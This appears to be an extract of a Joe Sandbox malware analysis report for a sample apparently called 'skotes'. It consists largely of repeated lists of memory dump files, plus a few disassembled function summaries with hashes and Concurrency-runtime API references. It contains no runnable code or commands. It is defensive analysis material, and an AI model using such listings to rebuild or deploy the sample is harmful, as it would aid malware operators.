Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 5b3f51d1de498e45ece6ec83962df0389db138479e35298a0eb6c99e19f966f0
Instruction ID: 9d2e581303700a21b89c353f452df1c09e712a149e8c9118d220d8db97d64c2e
Opcode Fuzzy Hash: 5b3f51d1de498e45ece6ec83962df0389db138479e35298a0eb6c99e19f966f0
Instruction Fuzzy Hash: 56B16C75A00625EFCB28CF58EA90B79BBB5FF64304F148169E905AB345D730AD90CBB0

Function 00D21602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D22CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00D22D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00D21614

Part of subcall function 00D22E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00D22E39
Part of subcall function 00D22E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00D22EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00D21746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00D217A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00D217B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 00D217ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00D2180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00D2181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00D21823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 00D2183B

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 206dbe58e17a4fd72a655c1c0348d5057b5035096aea5ed04371a8e7bce3a9c4
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: C4816C75E00225AFCB18DF68D584A6DB7F1FFA8308B1986ADE445A7701C730AD42CBA4

Function 00D2EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00D2EC81

Part of subcall function 00D28F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00D28F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00D2ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00D2ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 00D2ED0C

Part of subcall function 00D2E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00D2E7D7
Part of subcall function 00D2E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00D2E86F
Part of subcall function 00D2E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00D2E879
Part of subcall function 00D2E7AF: Concurrency::location::_Assign.LIBCMT ref: 00D2E8AD
Part of subcall function 00D2E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00D2E8B5

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: f1f8799f38020c4540e6402811561a1a514298eeef363f9a8956b8776930ab18
Instruction ID: 0142a0463710fd5109fe3fd01e3782d71d4eb59c7d0dacba40c5186463e1ad9a
Opcode Fuzzy Hash: f1f8799f38020c4540e6402811561a1a514298eeef363f9a8956b8776930ab18
Instruction Fuzzy Hash: 8451B131A00225EBCF24DF50E895BADB772EF54314F1840A8E9067B396CB70AE45CBB1

Function 00D1CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 00D1CBAA

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 8d8ed8634407ad4719bcfb35400ea280f79860acfb5b7077efb69655e9eaa94a
Instruction ID: e1b35749454a8f3ae425d9bca94695b150c6b0bf6d486aadf1e8639f9c3481e5
Opcode Fuzzy Hash: 8d8ed8634407ad4719bcfb35400ea280f79860acfb5b7077efb69655e9eaa94a
Instruction Fuzzy Hash: 62B09232A2BA3057CA512B54BC0859D7B14AA80B1270A1156D801E7338CA505DC28BF8

Function 00D1DD91 Relevance: 1.4, Strings: 1, Instructions: 144COMMON

Download Yara Rule

Strings

?]&$, xrefs: 00D1DDBC

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
